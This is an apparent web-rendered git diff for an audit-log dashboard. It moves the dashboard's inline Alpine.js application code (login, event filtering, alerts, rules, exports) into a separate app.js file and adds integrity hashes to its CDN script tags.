|
e.actor?.servicePrincipal?.displayName ||
|
||||||
|
'Unknown actor';
|
||||||
|
},
|
||||||
|
|
||||||
|
displayTargets(e) {
|
||||||
|
if (Array.isArray(e.target_displays) && e.target_displays.length) return e.target_displays.join(', ');
|
||||||
|
if (Array.isArray(e.targets) && e.targets.length) return e.targets[0].displayName || e.targets[0].id || '—';
|
||||||
|
return '—';
|
||||||
|
},
|
||||||
|
|
||||||
|
openModal(e) {
|
||||||
|
const seen = new WeakSet();
|
||||||
|
try {
|
||||||
|
this.modalBody = JSON.stringify(e.raw || e, (key, value) => {
|
||||||
|
if (typeof value === 'object' && value !== null) {
|
||||||
|
if (seen.has(value)) return '[Circular]';
|
||||||
|
seen.add(value);
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}, 2);
|
||||||
|
} catch (err) {
|
||||||
|
this.modalBody = `Error serializing event:\n${err.message}\n\nEvent ID: ${e.id || 'N/A'}`;
|
||||||
|
}
|
||||||
|
this.modalEventId = e.id || '';
|
||||||
|
this.modalExplanation = '';
|
||||||
|
this.modalExplainError = '';
|
||||||
|
this.modalOpen = true;
|
||||||
|
},
|
||||||
|
|
||||||
|
async copyRawEvent() {
|
||||||
|
if (!this.modalBody) return;
|
||||||
|
try {
|
||||||
|
await navigator.clipboard.writeText(this.modalBody);
|
||||||
|
this.statusText = 'Raw event copied to clipboard.';
|
||||||
|
setTimeout(() => { if (this.statusText === 'Raw event copied to clipboard.') this.statusText = ''; }, 2000);
|
||||||
|
} catch (err) {
|
||||||
|
this.statusText = 'Failed to copy to clipboard.';
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
async explainEvent() {
|
||||||
|
if (!this.modalEventId) return;
|
||||||
|
this.modalExplainLoading = true;
|
||||||
|
this.modalExplanation = '';
|
||||||
|
this.modalExplainError = '';
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/events/${this.modalEventId}/explain`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
});
|
||||||
|
if (!res.ok) throw new Error(await res.text());
|
||||||
|
const body = await res.json();
|
||||||
|
this.modalExplanation = body.explanation;
|
||||||
|
this.modalExplainError = body.llm_error || '';
|
||||||
|
} catch (err) {
|
||||||
|
this.modalExplainError = err.message || 'Failed to explain event.';
|
||||||
|
} finally {
|
||||||
|
this.modalExplainLoading = false;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
async addTag(e, tag) {
|
||||||
|
if (!tag.trim()) return;
|
||||||
|
const tags = [...(e.tags || []), tag.trim()];
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/events/${e.id}/tags`, {
|
||||||
|
method: 'PATCH',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify({ tags }),
|
||||||
|
});
|
||||||
|
if (res.ok) e.tags = tags;
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async addComment(e, text) {
|
||||||
|
if (!text.trim()) return;
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/events/${e.id}/comments`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify({ text: text.trim() }),
|
||||||
|
});
|
||||||
|
if (res.ok) {
|
||||||
|
const c = await res.json();
|
||||||
|
e.comments = [...(e.comments || []), c];
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
exportJSON() {
|
||||||
|
const blob = new Blob([JSON.stringify(this.events, null, 2)], { type: 'application/json' });
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.json`;
|
||||||
|
a.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
},
|
||||||
|
|
||||||
|
exportCSV() {
|
||||||
|
if (!this.events.length) return;
|
||||||
|
const headers = ['timestamp', 'service', 'operation', 'result', 'actor_display', 'target_displays', 'display_summary'];
|
||||||
|
const rows = this.events.map((e) => [
|
||||||
|
e.timestamp || '',
|
||||||
|
e.service || '',
|
||||||
|
e.operation || '',
|
||||||
|
e.result || '',
|
||||||
|
(e.actor_display || '').replace(/"/g, '""'),
|
||||||
|
(Array.isArray(e.target_displays) ? e.target_displays.join('; ') : '').replace(/"/g, '""'),
|
||||||
|
(e.display_summary || '').replace(/"/g, '""'),
|
||||||
|
]);
|
||||||
|
const csv = [headers.join(','), ...rows.map((r) => r.map((c) => `"${c}"`).join(','))].join('\n');
|
||||||
|
const blob = new Blob([csv], { type: 'text/csv' });
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = `aoc-events-${new Date().toISOString().slice(0,10)}.csv`;
|
||||||
|
a.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
+3
-824
@@ -5,8 +5,9 @@
|
|||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
<title>Admin Operations Center</title>
|
<title>Admin Operations Center</title>
|
||||||
<link rel="stylesheet" href="/style.css?v=15" />
|
<link rel="stylesheet" href="/style.css?v=15" />
|
||||||
<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
|
<script src="/app.js?v=1"></script>
|
||||||
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
|
<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.15.12/dist/cdn.min.js" integrity="sha384-pb6hrQvo4s23cEUFtj0CZkzGE3jyK3pj26RIupXXxhSrrcUA/Cn0lZgcCrGH0t6L" crossorigin="anonymous"></script>
|
||||||
|
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" integrity="sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW" crossorigin="anonymous"></script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div class="page" x-data="aocApp()" x-init="initApp()">
|
<div class="page" x-data="aocApp()" x-init="initApp()">
|
||||||
@@ -452,827 +453,5 @@
|
|||||||
</footer>
|
</footer>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script>
|
|
||||||
function aocApp() {
|
|
||||||
return {
|
|
||||||
events: [],
|
|
||||||
sourceHealth: [],
|
|
||||||
statusText: '',
|
|
||||||
countText: '',
|
|
||||||
cursorStack: [],
|
|
||||||
nextCursor: null,
|
|
||||||
currentCursor: null,
|
|
||||||
modalOpen: false,
|
|
||||||
modalBody: '',
|
|
||||||
modalEventId: '',
|
|
||||||
modalExplanation: '',
|
|
||||||
modalExplainLoading: false,
|
|
||||||
modalExplainError: '',
|
|
||||||
authBtnText: 'Login',
|
|
||||||
authConfig: null,
|
|
||||||
msalInstance: null,
|
|
||||||
account: null,
|
|
||||||
accessToken: null,
|
|
||||||
authScopes: [],
|
|
||||||
filters: {
|
|
||||||
actor: '', selectedServices: [], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '',
|
|
||||||
},
|
|
||||||
panelState: { sourceHealth: true, alerts: true, rules: true, filters: true, ask: true, events: true },
|
|
||||||
options: { actors: [], services: [], operations: [], results: [] },
|
|
||||||
savedSearches: [],
|
|
||||||
appVersion: '',
|
|
||||||
repoUrl: 'https://git.cqre.net/cqrenet/aoc',
|
|
||||||
docsUrl: 'https://git.cqre.net/cqrenet/aoc/src/branch/main/README.md',
|
|
||||||
aiFeaturesEnabled: true,
|
|
||||||
alertSummary: { total_open: 0, high: 0, medium: 0, low: 0 },
|
|
||||||
alerts: [],
|
|
||||||
alertsTotal: 0,
|
|
||||||
alertsPage: 1,
|
|
||||||
alertsFilter: { status: 'open', severity: '' },
|
|
||||||
rules: [],
|
|
||||||
ruleModalOpen: false,
|
|
||||||
ruleEditId: null,
|
|
||||||
ruleEdit: { name: '', enabled: true, severity: 'medium', message: '', conditions: [] },
|
|
||||||
askQuestionText: '',
|
|
||||||
askLoading: false,
|
|
||||||
askAnswer: '',
|
|
||||||
askAnswerHtml: '',
|
|
||||||
askEvents: [],
|
|
||||||
askLlmUsed: false,
|
|
||||||
askLlmError: '',
|
|
||||||
|
|
||||||
async initApp() {
|
|
||||||
await this.loadVersion();
|
|
||||||
await this.initAuth();
|
|
||||||
this.loadSavedFilters();
|
|
||||||
this.loadPanelState();
|
|
||||||
if (!this.authConfig?.auth_enabled || this.accessToken) {
|
|
||||||
await this.loadFilterOptions();
|
|
||||||
await this.loadSavedSearches();
|
|
||||||
await this.loadSourceHealth();
|
|
||||||
await this.loadAlertSummary();
|
|
||||||
await this.loadAlerts();
|
|
||||||
await this.loadRules();
|
|
||||||
await this.loadEvents();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
loadSavedFilters() {
|
|
||||||
try {
|
|
||||||
const saved = localStorage.getItem('aoc_filters');
|
|
||||||
if (!saved) return;
|
|
||||||
const parsed = JSON.parse(saved);
|
|
||||||
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
|
|
||||||
fields.forEach((f) => {
|
|
||||||
if (parsed[f] !== undefined) this.filters[f] = parsed[f];
|
|
||||||
});
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
saveFilters() {
|
|
||||||
try {
|
|
||||||
localStorage.setItem('aoc_filters', JSON.stringify(this.filters));
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
loadPanelState() {
|
|
||||||
try {
|
|
||||||
const saved = localStorage.getItem('aoc_panels');
|
|
||||||
if (saved) {
|
|
||||||
const parsed = JSON.parse(saved);
|
|
||||||
Object.keys(parsed).forEach((k) => { if (this.panelState[k] !== undefined) this.panelState[k] = parsed[k]; });
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
savePanelState() {
|
|
||||||
try {
|
|
||||||
localStorage.setItem('aoc_panels', JSON.stringify(this.panelState));
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
togglePanel(key) {
|
|
||||||
this.panelState[key] = !this.panelState[key];
|
|
||||||
this.savePanelState();
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadVersion() {
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/version');
|
|
||||||
if (res.ok) {
|
|
||||||
const body = await res.json();
|
|
||||||
this.appVersion = (body.version || '').replace(/^v/, '');
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
authHeader() {
|
|
||||||
return this.accessToken ? { Authorization: `Bearer ${this.accessToken}` } : {};
|
|
||||||
},
|
|
||||||
|
|
||||||
pickToken(res) {
|
|
||||||
if (!res) return null;
|
|
||||||
const clientId = this.authConfig?.client_id;
|
|
||||||
// If accessToken is present and its audience matches our API, use it.
|
|
||||||
if (res.accessToken && clientId) {
|
|
||||||
try {
|
|
||||||
const base64 = res.accessToken.split('.')[1].replace(/-/g, '+').replace(/_/g, '/');
|
|
||||||
const padded = base64.padEnd(base64.length + (4 - base64.length % 4) % 4, '=');
|
|
||||||
const payload = JSON.parse(atob(padded));
|
|
||||||
if (payload.aud === clientId) {
|
|
||||||
return res.accessToken;
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
}
|
|
||||||
// Fall back to idToken (always aud=clientId) or accessToken
|
|
||||||
return res.idToken || res.accessToken || null;
|
|
||||||
},
|
|
||||||
|
|
||||||
async initAuth() {
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/config/auth');
|
|
||||||
if (!res.ok) {
|
|
||||||
console.error('Auth config fetch failed:', res.status, res.statusText);
|
|
||||||
this.authConfig = { auth_enabled: false, _error: res.status };
|
|
||||||
} else {
|
|
||||||
this.authConfig = await res.json();
|
|
||||||
}
|
|
||||||
} catch (err) {
|
|
||||||
console.error('Auth config fetch error:', err);
|
|
||||||
this.authConfig = { auth_enabled: false, _error: 'network' };
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
const featRes = await fetch('/api/config/features');
|
|
||||||
if (featRes.ok) {
|
|
||||||
const featBody = await featRes.json();
|
|
||||||
this.aiFeaturesEnabled = featBody.ai_features_enabled !== false;
|
|
||||||
if (featBody.default_page_size) {
|
|
||||||
this.filters.limit = featBody.default_page_size;
|
|
||||||
} else {
|
|
||||||
this.filters.limit = 24;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
this.aiFeaturesEnabled = true;
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
this.aiFeaturesEnabled = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!this.authConfig?.auth_enabled) {
|
|
||||||
this.authBtnText = 'Auth: OFF';
|
|
||||||
console.warn('AOC auth is disabled. Set AUTH_ENABLED=true in .env to enable login.');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const tenantId = this.authConfig.tenant_id;
|
|
||||||
const clientId = this.authConfig.client_id;
|
|
||||||
if (!clientId || !tenantId) {
|
|
||||||
this.authBtnText = 'Auth: misconfigured';
|
|
||||||
this.statusText = 'Auth is enabled but client_id or tenant_id is missing. Check .env configuration.';
|
|
||||||
console.error('AOC auth misconfigured: missing client_id or tenant_id in /api/config/auth');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (typeof msal === 'undefined' || !msal.PublicClientApplication) {
|
|
||||||
this.statusText = 'Login library failed to load. Please check network or CDN.';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const baseScope = this.authConfig.scope || "";
|
|
||||||
this.authScopes = Array.from(new Set(['openid', 'profile', 'email', ...baseScope.split(/[ ,]+/).filter(Boolean)]));
|
|
||||||
const authority = `https://login.microsoftonline.com/${tenantId}`;
|
|
||||||
const redirectUri = window.location.origin;
|
|
||||||
|
|
||||||
this.msalInstance = new msal.PublicClientApplication({
|
|
||||||
auth: { clientId, authority, redirectUri },
|
|
||||||
cache: { cacheLocation: 'sessionStorage' },
|
|
||||||
});
|
|
||||||
|
|
||||||
const redirectResult = await this.msalInstance.handleRedirectPromise().catch(() => null);
|
|
||||||
if (redirectResult) {
|
|
||||||
this.account = redirectResult.account;
|
|
||||||
this.msalInstance.setActiveAccount(this.account);
|
|
||||||
this.accessToken = this.pickToken(redirectResult);
|
|
||||||
} else {
|
|
||||||
const accounts = this.msalInstance.getAllAccounts();
|
|
||||||
if (accounts.length) {
|
|
||||||
this.account = accounts[0];
|
|
||||||
this.msalInstance.setActiveAccount(this.account);
|
|
||||||
this.accessToken = await this.acquireToken(this.authScopes);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
this.updateAuthButtons();
|
|
||||||
},
|
|
||||||
|
|
||||||
async acquireToken(scopes) {
|
|
||||||
if (!this.msalInstance || !this.account) return null;
|
|
||||||
const request = { scopes: scopes && scopes.length ? scopes : ['openid', 'profile', 'email'], account: this.account };
|
|
||||||
try {
|
|
||||||
const res = await this.msalInstance.acquireTokenSilent(request);
|
|
||||||
return this.pickToken(res);
|
|
||||||
} catch {
|
|
||||||
const res = await this.msalInstance.acquireTokenPopup(request);
|
|
||||||
return this.pickToken(res);
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
updateAuthButtons() {
|
|
||||||
const loggedIn = !!this.account;
|
|
||||||
if (this.authConfig?.auth_enabled) {
|
|
||||||
this.authBtnText = loggedIn ? 'Logout' : 'Login';
|
|
||||||
}
|
|
||||||
if (loggedIn) {
|
|
||||||
this.acquireToken(this.authScopes).then((t) => { if (t) this.accessToken = t; }).catch(() => {});
|
|
||||||
this.statusText = '';
|
|
||||||
} else if (this.authConfig?.auth_enabled) {
|
|
||||||
this.statusText = 'Please log in to view events.';
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
async toggleAuth() {
|
|
||||||
if (!this.authConfig?.auth_enabled || !this.msalInstance) return;
|
|
||||||
if (this.account) {
|
|
||||||
const acc = this.msalInstance.getActiveAccount();
|
|
||||||
this.accessToken = null;
|
|
||||||
this.account = null;
|
|
||||||
this.updateAuthButtons();
|
|
||||||
if (acc) await this.msalInstance.logoutPopup({ account: acc });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
const scopes = this.authScopes && this.authScopes.length ? this.authScopes : ['openid', 'profile', 'email'];
|
|
||||||
this.statusText = 'Redirecting to sign in...';
|
|
||||||
this.msalInstance.loginRedirect({ scopes });
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadEvents(cursor) {
|
|
||||||
this.currentCursor = cursor || null;
|
|
||||||
const params = new URLSearchParams();
|
|
||||||
['actor', 'operation', 'result', 'search'].forEach((key) => {
|
|
||||||
const val = this.filters[key];
|
|
||||||
if (val) params.append(key, val);
|
|
||||||
});
|
|
||||||
if (this.filters.selectedServices && this.filters.selectedServices.length) {
|
|
||||||
this.filters.selectedServices.forEach((s) => params.append('services', s));
|
|
||||||
}
|
|
||||||
if (this.filters.includeTags) {
|
|
||||||
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
|
|
||||||
}
|
|
||||||
if (this.filters.excludeTags) {
|
|
||||||
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
|
|
||||||
}
|
|
||||||
if (this.filters.start) {
|
|
||||||
const d = new Date(this.filters.start);
|
|
||||||
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
|
|
||||||
}
|
|
||||||
if (this.filters.end) {
|
|
||||||
const d = new Date(this.filters.end);
|
|
||||||
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
|
|
||||||
}
|
|
||||||
params.append('page_size', String(this.filters.limit || 50));
|
|
||||||
if (cursor) params.append('cursor', cursor);
|
|
||||||
|
|
||||||
this.statusText = 'Loading events…';
|
|
||||||
this.countText = '';
|
|
||||||
|
|
||||||
if (this.authConfig?.auth_enabled && !this.accessToken) {
|
|
||||||
this.statusText = 'Please sign in to load events.';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/events?${params.toString()}`, { headers: { Accept: 'application/json', ...this.authHeader() } });
|
|
||||||
if (!res.ok) throw new Error(`Request failed: ${res.status} ${await res.text()}`);
|
|
||||||
const body = await res.json();
|
|
||||||
this.events = body.items || [];
|
|
||||||
this.nextCursor = body.next_cursor || null;
|
|
||||||
this.countText = body.total >= 0 ? `${body.total} event${body.total === 1 ? '' : 's'}` : '';
|
|
||||||
this.statusText = this.events.length ? '' : 'No events found for these filters.';
|
|
||||||
this.saveFilters();
|
|
||||||
} catch (err) {
|
|
||||||
this.statusText = err.message || 'Failed to load events.';
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
async fetchLogs() {
|
|
||||||
this.statusText = 'Fetching latest audit logs…';
|
|
||||||
if (this.authConfig?.auth_enabled && !this.accessToken) {
|
|
||||||
this.statusText = 'Please sign in first.';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/fetch-audit-logs', { headers: this.authHeader() });
|
|
||||||
if (!res.ok) throw new Error(`Fetch failed: ${res.status} ${await res.text()}`);
|
|
||||||
const body = await res.json();
|
|
||||||
const errs = Array.isArray(body.errors) && body.errors.length ? `Warnings: ${body.errors.join(' | ')}` : '';
|
|
||||||
this.statusText = `Fetched and stored ${body.stored_events || 0} events.${errs ? ' ' + errs : ''} Refreshing list…`;
|
|
||||||
this.resetPagination();
|
|
||||||
await this.loadEvents();
|
|
||||||
await this.loadSourceHealth();
|
|
||||||
} catch (err) {
|
|
||||||
this.statusText = err.message || 'Failed to fetch audit logs.';
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadFilterOptions() {
|
|
||||||
if (this.authConfig?.auth_enabled && !this.accessToken) return;
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/filter-options', { headers: this.authHeader() });
|
|
||||||
if (!res.ok) return;
|
|
||||||
const opts = await res.json();
|
|
||||||
this.options.actors = (opts.actors || []).slice(0, 200);
|
|
||||||
this.options.services = (opts.services || []).slice(0, 200);
|
|
||||||
this.options.operations = (opts.operations || []).slice(0, 200);
|
|
||||||
this.options.results = (opts.results || []).slice(0, 200);
|
|
||||||
|
|
||||||
const saved = localStorage.getItem('aoc_filters');
|
|
||||||
if (!saved && this.options.services.length) {
|
|
||||||
// Default: show all services (privacy controls handle exclusions server-side)
|
|
||||||
this.filters.selectedServices = [...this.options.services];
|
|
||||||
} else if (saved) {
|
|
||||||
try {
|
|
||||||
const parsed = JSON.parse(saved);
|
|
||||||
if (parsed.selectedServices) {
|
|
||||||
this.filters.selectedServices = parsed.selectedServices.filter((s) => this.options.services.includes(s));
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadSourceHealth() {
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/source-health', { headers: this.authHeader() });
|
|
||||||
if (!res.ok) return;
|
|
||||||
this.sourceHealth = await res.json();
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadSavedSearches() {
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/saved-searches', { headers: this.authHeader() });
|
|
||||||
if (!res.ok) return;
|
|
||||||
this.savedSearches = await res.json();
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async saveCurrentFilters() {
|
|
||||||
const name = prompt('Name this saved filter:');
|
|
||||||
if (!name || !name.trim()) return;
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/saved-searches', {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify({ name: name.trim(), filters: { ...this.filters } }),
|
|
||||||
});
|
|
||||||
if (!res.ok) throw new Error(await res.text());
|
|
||||||
const created = await res.json();
|
|
||||||
this.savedSearches.unshift(created);
|
|
||||||
this.statusText = 'Filters saved.';
|
|
||||||
setTimeout(() => { if (this.statusText === 'Filters saved.') this.statusText = ''; }, 2000);
|
|
||||||
} catch (err) {
|
|
||||||
this.statusText = err.message || 'Failed to save filters.';
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
applySavedSearch(ss) {
|
|
||||||
if (!ss || !ss.filters) return;
|
|
||||||
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
|
|
||||||
fields.forEach((f) => {
|
|
||||||
if (ss.filters[f] !== undefined) this.filters[f] = ss.filters[f];
|
|
||||||
});
|
|
||||||
// Validate selectedServices against current options
|
|
||||||
this.filters.selectedServices = this.filters.selectedServices.filter((s) => this.options.services.includes(s));
|
|
||||||
this.resetPagination();
|
|
||||||
this.loadEvents();
|
|
||||||
},
|
|
||||||
|
|
||||||
async deleteSavedSearch(id) {
|
|
||||||
if (!confirm('Delete this saved search?')) return;
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/saved-searches/${id}`, {
|
|
||||||
method: 'DELETE',
|
|
||||||
headers: this.authHeader(),
|
|
||||||
});
|
|
||||||
if (!res.ok) throw new Error(await res.text());
|
|
||||||
this.savedSearches = this.savedSearches.filter((s) => s.id !== id);
|
|
||||||
} catch (err) {
|
|
||||||
this.statusText = err.message || 'Failed to delete saved search.';
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
resetPagination() {
|
|
||||||
this.cursorStack = [];
|
|
||||||
this.nextCursor = null;
|
|
||||||
this.currentCursor = null;
|
|
||||||
},
|
|
||||||
|
|
||||||
goPrev() {
|
|
||||||
if (this.cursorStack.length) {
|
|
||||||
const prevCursor = this.cursorStack.pop();
|
|
||||||
this.loadEvents(prevCursor);
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
goNext() {
|
|
||||||
if (this.nextCursor) {
|
|
||||||
this.cursorStack.push(this.currentCursor);
|
|
||||||
this.loadEvents(this.nextCursor);
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
clearFilters() {
|
|
||||||
this.filters = { actor: '', selectedServices: [...this.options.services], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '' };
|
|
||||||
this.saveFilters();
|
|
||||||
this.resetPagination();
|
|
||||||
this.loadEvents();
|
|
||||||
},
|
|
||||||
|
|
||||||
filterByService(service) {
|
|
||||||
if (!service) return;
|
|
||||||
this.filters.selectedServices = [service];
|
|
||||||
this.saveFilters();
|
|
||||||
this.resetPagination();
|
|
||||||
this.loadEvents();
|
|
||||||
},
|
|
||||||
|
|
||||||
filterByResult(result) {
|
|
||||||
if (!result) return;
|
|
||||||
this.filters.result = this.filters.result === result ? '' : result;
|
|
||||||
this.saveFilters();
|
|
||||||
this.resetPagination();
|
|
||||||
this.loadEvents();
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadAlertSummary() {
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/alerts/summary', { headers: this.authHeader() });
|
|
||||||
if (!res.ok) return;
|
|
||||||
const body = await res.json();
|
|
||||||
this.alertSummary.total_open = body.total_open || 0;
|
|
||||||
const sev = body.by_status_severity || [];
|
|
||||||
this.alertSummary.high = sev.filter((s) => s._id.severity === 'high' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
|
|
||||||
this.alertSummary.medium = sev.filter((s) => s._id.severity === 'medium' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
|
|
||||||
this.alertSummary.low = sev.filter((s) => s._id.severity === 'low' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadAlerts() {
|
|
||||||
try {
|
|
||||||
const params = new URLSearchParams();
|
|
||||||
params.append('page_size', '20');
|
|
||||||
params.append('page', String(this.alertsPage));
|
|
||||||
if (this.alertsFilter.status) params.append('status', this.alertsFilter.status);
|
|
||||||
if (this.alertsFilter.severity) params.append('severity', this.alertsFilter.severity);
|
|
||||||
const res = await fetch(`/api/alerts?${params.toString()}`, { headers: this.authHeader() });
|
|
||||||
if (!res.ok) return;
|
|
||||||
const body = await res.json();
|
|
||||||
this.alerts = body.items || [];
|
|
||||||
this.alertsTotal = body.total || 0;
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async updateAlertStatus(alertId, status) {
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/alerts/${alertId}/status`, {
|
|
||||||
method: 'PATCH',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify({ status }),
|
|
||||||
});
|
|
||||||
if (res.ok) {
|
|
||||||
await this.loadAlerts();
|
|
||||||
await this.loadAlertSummary();
|
|
||||||
}
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async loadRules() {
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/rules', { headers: this.authHeader() });
|
|
||||||
if (!res.ok) return;
|
|
||||||
this.rules = await res.json();
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
openRuleEditor(rule) {
|
|
||||||
if (rule) {
|
|
||||||
this.ruleEditId = rule.id;
|
|
||||||
this.ruleEdit = {
|
|
||||||
name: rule.name,
|
|
||||||
enabled: rule.enabled,
|
|
||||||
severity: rule.severity,
|
|
||||||
message: rule.message,
|
|
||||||
conditions: JSON.parse(JSON.stringify(rule.conditions)),
|
|
||||||
};
|
|
||||||
} else {
|
|
||||||
this.ruleEditId = null;
|
|
||||||
this.ruleEdit = { name: '', enabled: true, severity: 'medium', message: '', conditions: [] };
|
|
||||||
}
|
|
||||||
this.ruleModalOpen = true;
|
|
||||||
},
|
|
||||||
|
|
||||||
async saveRule() {
|
|
||||||
const payload = { ...this.ruleEdit };
|
|
||||||
try {
|
|
||||||
const url = this.ruleEditId ? `/api/rules/${this.ruleEditId}` : '/api/rules';
|
|
||||||
const method = this.ruleEditId ? 'PUT' : 'POST';
|
|
||||||
const res = await fetch(url, {
|
|
||||||
method,
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify(payload),
|
|
||||||
});
|
|
||||||
if (!res.ok) throw new Error(await res.text());
|
|
||||||
this.ruleModalOpen = false;
|
|
||||||
await this.loadRules();
|
|
||||||
} catch (err) {
|
|
||||||
alert('Failed to save rule: ' + err.message);
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
async toggleRule(ruleId, enabled) {
|
|
||||||
try {
|
|
||||||
const rule = this.rules.find((r) => r.id === ruleId);
|
|
||||||
if (!rule) return;
|
|
||||||
const res = await fetch(`/api/rules/${ruleId}`, {
|
|
||||||
method: 'PUT',
|
|
||||||
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
|
||||||
body: JSON.stringify({ ...rule, enabled }),
|
|
||||||
});
|
|
||||||
if (res.ok) await this.loadRules();
|
|
||||||
} catch {}
|
|
||||||
},
|
|
||||||
|
|
||||||
async deleteRule(ruleId) {
|
|
||||||
if (!confirm('Delete this rule?')) return;
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/rules/${ruleId}`, {
|
|
||||||
method: 'DELETE',
|
|
||||||
